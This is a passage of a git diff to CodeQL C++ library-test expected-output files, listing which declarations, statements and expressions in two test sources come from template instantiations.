isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | +| isfromtemplateinstantiation.cpp:135:31:135:35 | declaration of Inner | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:136:7:136:7 | definition of x | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:136:7:136:7 | x | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:137:7:137:7 | definition of y | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | @@ -132,78 +146,7 @@ | load.cpp:13:7:13:7 | definition of operator= | load.cpp:13:7:13:27 | basic_text_iprimitive | | load.cpp:15:14:15:15 | definition of is | load.cpp:13:7:13:27 | basic_text_iprimitive | | load.cpp:15:14:15:15 | is | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:18:36:18:42 | std_istream_mockup & isParam | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:18:36:18:42 | std_istream_mockup & isParam | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:11:19:21 | constructor init of field is | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:11:19:21 | constructor init of field is | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:14:19:20 | (reference dereference) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:14:19:20 | (reference dereference) | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:14:19:20 | (reference to) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:14:19:20 | (reference to) | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:14:19:20 | isParam | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:14:19:20 | isParam | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:23:19:24 | { ... } | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:23:19:24 | { ... } | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | -| load.cpp:19:24:19:24 | return ... | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:19:24:19:24 | return ... | load.cpp:18:5:18:25 | basic_text_iprimitive::basic_text_iprimitive(std_istream_mockup &) | | load.cpp:22:10:22:13 | basic_text_iprimitive::load(T &) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | load.cpp:13:7:13:27 | basic_text_iprimitive | | load.cpp:22:10:22:13 | declaration of load | load.cpp:13:7:13:27 | basic_text_iprimitive | | load.cpp:22:19:22:19 | T & t | load.cpp:13:7:13:27 | basic_text_iprimitive | | load.cpp:22:19:22:19 | declaration of t | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:22:19:22:19 | short & t | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:22:19:22:19 | short & t | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:23:5:25:5 | { ... } | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:23:5:25:5 | { ... } | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:9:24:10 | (reference dereference) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:9:24:10 | (reference dereference) | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:9:24:10 | is | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:9:24:10 | is | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:9:24:16 | ExprStmt | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:9:24:16 | ExprStmt | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:12:24:12 | call to operator>> | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:12:24:12 | call to operator>> | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:12:24:16 | (reference dereference) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:12:24:16 | (reference dereference) | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:15:24:15 | (reference dereference) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:15:24:15 | (reference dereference) | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:15:24:15 | (reference to) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:15:24:15 | (reference to) | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:24:15:24:15 | t | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:24:15:24:15 | t | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:25:5:25:5 | return ... | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:25:5:25:5 | return ... | load.cpp:22:10:22:13 | basic_text_iprimitive::load(short &) | -| load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:27:22:27:22 | char & t | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:27:22:27:22 | char & t | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:28:5:32:5 | { ... } | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:28:5:32:5 | { ... } | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:29:9:29:20 | declaration | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:29:9:29:20 | declaration | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:29:19:29:19 | definition of i | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:29:19:29:19 | definition of i | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:29:19:29:19 | i | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:29:19:29:19 | i | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:30:9:30:12 | call to load | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:30:9:30:12 | call to load | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:30:9:30:16 | ExprStmt | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:30:9:30:16 | ExprStmt | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:30:14:30:14 | (reference to) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:30:14:30:14 | (reference to) | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:30:14:30:14 | i | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:30:14:30:14 | i | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:9:31:9 | (reference dereference) | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:9:31:9 | (reference dereference) | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:9:31:9 | t | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:9:31:9 | t | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:9:31:13 | ... = ... | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:9:31:13 | ... = ... | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:9:31:14 | ExprStmt | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:9:31:14 | ExprStmt | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:13:31:13 | (char)... | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:13:31:13 | (char)... | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:31:13:31:13 | i | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:31:13:31:13 | i | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | -| load.cpp:32:5:32:5 | return ... | load.cpp:13:7:13:27 | basic_text_iprimitive | -| load.cpp:32:5:32:5 | return ... | load.cpp:27:10:27:13 | basic_text_iprimitive::load(char &) | diff --git a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromuninstantiatedtemplate.expected b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromuninstantiatedtemplate.expected index 74a096dff1a..b5b562f95eb 100644 --- a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromuninstantiatedtemplate.expected +++ b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromuninstantiatedtemplate.expected @@ -1,13 +1,9 @@ isFromUninstantiatedTemplate | file://:0:0:0:0 | 0 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| file://:0:0:0:0 | 0 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | file://:0:0:0:0 | (int)... | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| file://:0:0:0:0 | (int)... | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| file://:0:0:0:0 | Inner | file://:0:0:0:0 | Inner | | file://:0:0:0:0 | declaration of 1st parameter | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | file://:0:0:0:0 | declaration of 1st parameter | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | file://:0:0:0:0 | initializer for MyClassEnumConst | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| file://:0:0:0:0 | initializer for MyClassEnumConst | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | file://:0:0:0:0 | p#0 | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | file://:0:0:0:0 | p#0 | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | file://:0:0:0:0 | this | load.cpp:13:7:13:27 | basic_text_iprimitive | @@ -100,20 +96,37 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | isfromtemplateinstantiation.cpp:93:7:93:15 | myMethod1 | | isfromtemplateinstantiation.cpp:94:7:94:15 | declaration of myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:94:7:94:15 | declaration of myMethod2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:94:7:94:15 | declaration of myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:94:29:94:32 | declaration of mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:94:29:94:32 | declaration of mce2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:94:29:94:32 | declaration of mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:97:25:97:60 | definition of myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:97:25:97:60 | definition of myMethod2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:25:97:60 | definition of myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:97:74:97:77 | mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:97:74:97:77 | mce2 | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:97:74:97:77 | mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | +| isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | isfromtemplateinstantiation.cpp:110:15:110:15 | definition of var_template | isfromtemplateinstantiation.cpp:110:15:110:15 | var_template | | isfromtemplateinstantiation.cpp:110:15:110:15 | var_template | isfromtemplateinstantiation.cpp:110:15:110:15 | var_template | | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | @@ -136,7 +149,9 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:135:31:135:31 | operator= | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | +| isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | +| isfromtemplateinstantiation.cpp:135:31:135:35 | declaration of Inner | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:135:31:135:35 | definition of Inner | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:135:31:135:35 | definition of Inner | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:136:7:136:7 | definition of x | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | @@ -257,9 +272,11 @@ isFromUninstantiatedTemplate | load.cpp:32:5:32:5 | return ... | load.cpp:27:10:27:13 | load | #select | isfromtemplateinstantiation.cpp:4:6:4:20 | normal_function | | | Declaration | | +| isfromtemplateinstantiation.cpp:12:24:12:24 | definition of inner_template_function | I | | Definition | | +| isfromtemplateinstantiation.cpp:12:24:12:24 | definition of inner_template_function | I | | Definition | | +| isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function | I | | Declaration | | +| isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function | I | | Declaration | | | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function | | T | Declaration | | -| isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function | I | | Declaration | | -| isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function | I | | Declaration | | | isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | | T | Stmt | | | isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | I | | Stmt | | | isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | I | | Stmt | | @@ -284,9 +301,11 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | | T | Stmt | | | isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | I | | Stmt | | | isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | I | | Stmt | | +| isfromtemplateinstantiation.cpp:19:24:19:24 | definition of outer_template_function | I | | Definition | | +| isfromtemplateinstantiation.cpp:19:24:19:24 | definition of outer_template_function | I | | Definition | | +| isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function | I | | Declaration | | +| isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function | I | | Declaration | | | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function | | T | Declaration | | -| isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function | I | | Declaration | | -| isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function | I | | Declaration | | | isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | | T | Stmt | | | isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | I | | Stmt | | | isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | I | | Stmt | | @@ -308,6 +327,9 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | | T | Expr | | | isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | I | | Expr | | | isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | I | | Expr | | +| isfromtemplateinstantiation.cpp:23:2:23:8 | A_MACRO | | | other | | +| isfromtemplateinstantiation.cpp:23:2:23:8 | A_MACRO | | | other | | +| isfromtemplateinstantiation.cpp:23:2:23:8 | A_MACRO | | | other | | | isfromtemplateinstantiation.cpp:23:2:23:8 | i | | T | Expr | Not ref | | isfromtemplateinstantiation.cpp:23:2:23:8 | i | I | | Expr | Not ref | | isfromtemplateinstantiation.cpp:23:2:23:8 | i | I | | Expr | Not ref | @@ -329,8 +351,8 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:29:7:29:7 | operator= | | | Declaration | | | isfromtemplateinstantiation.cpp:29:7:29:18 | normal_class | | | Declaration | | | isfromtemplateinstantiation.cpp:34:7:34:14 | a_method | | | Declaration | | +| isfromtemplateinstantiation.cpp:38:26:38:26 | a_template_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:38:26:38:42 | a_template_method | | T | Declaration | | -| isfromtemplateinstantiation.cpp:38:26:38:42 | a_template_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:39:2:40:2 | { ... } | | T | Stmt | | | isfromtemplateinstantiation.cpp:39:2:40:2 | { ... } | I | | Stmt | | | isfromtemplateinstantiation.cpp:40:2:40:2 | return ... | | T | Stmt | | @@ -345,15 +367,17 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:46:4:46:4 | definition of t | I | | Definition | | | isfromtemplateinstantiation.cpp:46:4:46:4 | t | | T | Declaration | | | isfromtemplateinstantiation.cpp:46:4:46:4 | t | I | | Declaration | | +| isfromtemplateinstantiation.cpp:49:7:49:7 | b_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:49:7:49:14 | b_method | | T | Declaration | | -| isfromtemplateinstantiation.cpp:49:7:49:14 | b_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:50:2:51:2 | { ... } | | T | Stmt | | | isfromtemplateinstantiation.cpp:50:2:51:2 | { ... } | I | | Stmt | | | isfromtemplateinstantiation.cpp:51:2:51:2 | return ... | | T | Stmt | | | isfromtemplateinstantiation.cpp:51:2:51:2 | return ... | I | | Stmt | | +| isfromtemplateinstantiation.cpp:53:26:53:26 | b_template_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:53:26:53:42 | b_template_method | | T | Declaration | | -| isfromtemplateinstantiation.cpp:53:26:53:42 | b_template_method | I | | Declaration | | | isfromtemplateinstantiation.cpp:53:26:53:42 | b_template_method | I | T | Declaration | | +| isfromtemplateinstantiation.cpp:53:46:53:46 | definition of u | | T | Definition | | +| isfromtemplateinstantiation.cpp:53:46:53:46 | definition of u | I | | Definition | | | isfromtemplateinstantiation.cpp:53:46:53:46 | u | | T | Declaration | | | isfromtemplateinstantiation.cpp:53:46:53:46 | u | I | | Declaration | | | isfromtemplateinstantiation.cpp:53:46:53:46 | u | I | T | Declaration | | @@ -390,8 +414,10 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:86:16:86:16 | l | I | | Declaration | | | isfromtemplateinstantiation.cpp:90:3:90:18 | MyClassEnumConst | | T | Declaration | | | isfromtemplateinstantiation.cpp:90:3:90:18 | MyClassEnumConst | I | | Declaration | | +| isfromtemplateinstantiation.cpp:93:7:93:7 | myMethod1 | I | | Declaration | | | isfromtemplateinstantiation.cpp:93:7:93:15 | myMethod1 | | T | Declaration | | -| isfromtemplateinstantiation.cpp:93:7:93:15 | myMethod1 | I | | Declaration | | +| isfromtemplateinstantiation.cpp:93:29:93:32 | definition of mce1 | | T | Definition | | +| isfromtemplateinstantiation.cpp:93:29:93:32 | definition of mce1 | I | | Definition | | | isfromtemplateinstantiation.cpp:93:29:93:32 | mce1 | | T | Declaration | | | isfromtemplateinstantiation.cpp:93:29:93:32 | mce1 | I | | Declaration | | | isfromtemplateinstantiation.cpp:93:54:93:55 | { ... } | | T | Stmt | | @@ -399,7 +425,12 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | | T | Stmt | | | isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | I | | Stmt | | | isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | | T | Declaration | | -| isfromtemplateinstantiation.cpp:97:25:97:60 | myMethod2 | I | | Declaration | | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | | T | Definition | | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | I | | Definition | | +| isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | | T | Declaration | | +| isfromtemplateinstantiation.cpp:97:52:97:52 | myMethod2 | I | | Declaration | | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | | T | Definition | | +| isfromtemplateinstantiation.cpp:97:74:97:77 | definition of mce2 | | T | Definition | | | isfromtemplateinstantiation.cpp:97:74:97:77 | mce2 | | T | Declaration | | | isfromtemplateinstantiation.cpp:97:74:97:77 | mce2 | I | | Declaration | | | isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | | T | Stmt | | @@ -417,13 +448,6 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | | T | Declaration | | | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | I | | Declaration | | | isfromtemplateinstantiation.cpp:129:6:129:6 | f | | T | Declaration | | -| isfromtemplateinstantiation.cpp:129:6:129:6 | f | I | | Declaration | | -| isfromtemplateinstantiation.cpp:129:10:129:22 | { ... } | | T | Stmt | | -| isfromtemplateinstantiation.cpp:129:10:129:22 | { ... } | I | | Stmt | | -| isfromtemplateinstantiation.cpp:129:12:129:20 | return ... | | T | Stmt | | -| isfromtemplateinstantiation.cpp:129:12:129:20 | return ... | I | | Stmt | | -| isfromtemplateinstantiation.cpp:129:19:129:19 | 1 | | T | Expr | | -| isfromtemplateinstantiation.cpp:129:19:129:19 | 1 | I | | Expr | | | isfromtemplateinstantiation.cpp:134:29:134:29 | declaration of operator= | I | | DeclarationEntry | | | isfromtemplateinstantiation.cpp:134:29:134:29 | declaration of operator= | I | | DeclarationEntry | | | isfromtemplateinstantiation.cpp:134:29:134:29 | operator= | I | | Declaration | | @@ -435,6 +459,7 @@ isFromUninstantiatedTemplate | isfromtemplateinstantiation.cpp:135:31:135:31 | operator= | I | T | Declaration | | | isfromtemplateinstantiation.cpp:135:31:135:31 | operator= | I | T | Declaration | | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | T | Declaration | | +| isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | I | T | Declaration | | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | I | T | Declaration | | | isfromtemplateinstantiation.cpp:136:7:136:7 | definition of x | | T | Definition | | | isfromtemplateinstantiation.cpp:136:7:136:7 | definition of x | I | T | Definition | | @@ -472,72 +497,19 @@ isFromUninstantiatedTemplate | load.cpp:15:14:15:15 | is | | T | Declaration | | | load.cpp:15:14:15:15 | is | I | | Declaration | | | load.cpp:18:5:18:25 | basic_text_iprimitive | | T | Declaration | | -| load.cpp:18:5:18:25 | basic_text_iprimitive | I | | Declaration | | -| load.cpp:18:36:18:42 | isParam | | T | Declaration | | -| load.cpp:18:36:18:42 | isParam | I | | Declaration | | -| load.cpp:19:11:19:21 | constructor init of field is | | T | Expr | | -| load.cpp:19:11:19:21 | constructor init of field is | I | | Expr | | | load.cpp:19:14:19:20 | (reference dereference) | | T | Expr | | -| load.cpp:19:14:19:20 | (reference dereference) | I | | Expr | | | load.cpp:19:14:19:20 | (reference to) | | T | Expr | | -| load.cpp:19:14:19:20 | (reference to) | I | | Expr | | | load.cpp:19:14:19:20 | isParam | | T | Expr | Ref | -| load.cpp:19:14:19:20 | isParam | I | | Expr | Ref | -| load.cpp:19:23:19:24 | { ... } | | T | Stmt | | -| load.cpp:19:23:19:24 | { ... } | I | | Stmt | | -| load.cpp:19:24:19:24 | return ... | | T | Stmt | | -| load.cpp:19:24:19:24 | return ... | I | | Stmt | | | load.cpp:22:10:22:13 | load | | T | Declaration | | -| load.cpp:22:10:22:13 | load | I | | Declaration | | | load.cpp:22:10:22:13 | load | I | T | Declaration | | | load.cpp:22:19:22:19 | t | | T | Declaration | | -| load.cpp:22:19:22:19 | t | I | | Declaration | | | load.cpp:22:19:22:19 | t | I | T | Declaration | | -| load.cpp:23:5:25:5 | { ... } | | T | Stmt | | -| load.cpp:23:5:25:5 | { ... } | I | | Stmt | | | load.cpp:24:9:24:10 | (reference dereference) | | T | Expr | | -| load.cpp:24:9:24:10 | (reference dereference) | I | | Expr | | | load.cpp:24:9:24:10 | is | | T | Expr | Not ref | -| load.cpp:24:9:24:10 | is | I | | Expr | Not ref | -| load.cpp:24:9:24:16 | ExprStmt | | T | Stmt | | -| load.cpp:24:9:24:16 | ExprStmt | I | | Stmt | | | load.cpp:24:15:24:15 | (reference dereference) | | T | Expr | | -| load.cpp:24:15:24:15 | (reference dereference) | I | | Expr | | -| load.cpp:24:15:24:15 | (reference to) | I | | Expr | | | load.cpp:24:15:24:15 | t | | T | Expr | Not ref | -| load.cpp:24:15:24:15 | t | I | | Expr | Ref | -| load.cpp:25:5:25:5 | return ... | | T | Stmt | | -| load.cpp:25:5:25:5 | return ... | I | | Stmt | | | load.cpp:27:10:27:13 | load | | T | Declaration | | -| load.cpp:27:10:27:13 | load | I | | Declaration | | -| load.cpp:27:22:27:22 | t | | T | Declaration | | -| load.cpp:27:22:27:22 | t | I | | Declaration | | -| load.cpp:28:5:32:5 | { ... } | | T | Stmt | | -| load.cpp:28:5:32:5 | { ... } | I | | Stmt | | -| load.cpp:29:9:29:20 | declaration | | T | Stmt | | -| load.cpp:29:9:29:20 | declaration | I | | Stmt | | -| load.cpp:29:19:29:19 | definition of i | | T | Definition | | -| load.cpp:29:19:29:19 | definition of i | I | | Definition | | -| load.cpp:29:19:29:19 | i | | T | Declaration | | -| load.cpp:29:19:29:19 | i | I | | Declaration | | -| load.cpp:30:9:30:12 | Unknown literal | | T | Expr | | -| load.cpp:30:9:30:12 | call to load | I | | Expr | | -| load.cpp:30:9:30:16 | ExprStmt | | T | Stmt | | -| load.cpp:30:9:30:16 | ExprStmt | I | | Stmt | | -| load.cpp:30:14:30:14 | (reference to) | I | | Expr | | -| load.cpp:30:14:30:14 | i | | T | Expr | Not ref | -| load.cpp:30:14:30:14 | i | I | | 